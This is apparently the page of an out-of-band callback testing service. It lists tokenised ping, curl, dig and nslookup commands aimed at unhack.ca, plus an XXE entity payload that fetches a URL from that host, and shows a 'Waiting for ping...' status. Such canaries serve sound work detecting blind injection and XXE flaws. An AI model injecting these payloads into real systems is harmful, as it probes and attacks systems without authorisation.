$ ping -c1 -p 0090f93ecd557ad380a0270a92285f00 unhack.ca
 
$ curl http://unhack.ca/p/90f93ecd557ad380a0270a92285f
 
$ dig 90f93ecd557ad380a0270a92285f @unhack.ca
 
$ dig 90f93ecd557ad380a0270a92285f.ns.unhack.ca
 
C:\> nslookup 90f93ecd557ad380a0270a92285f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/90f93ecd557ad380a0270a92285f">]>
    <foo>&xxe;</foo>
Waiting for ping...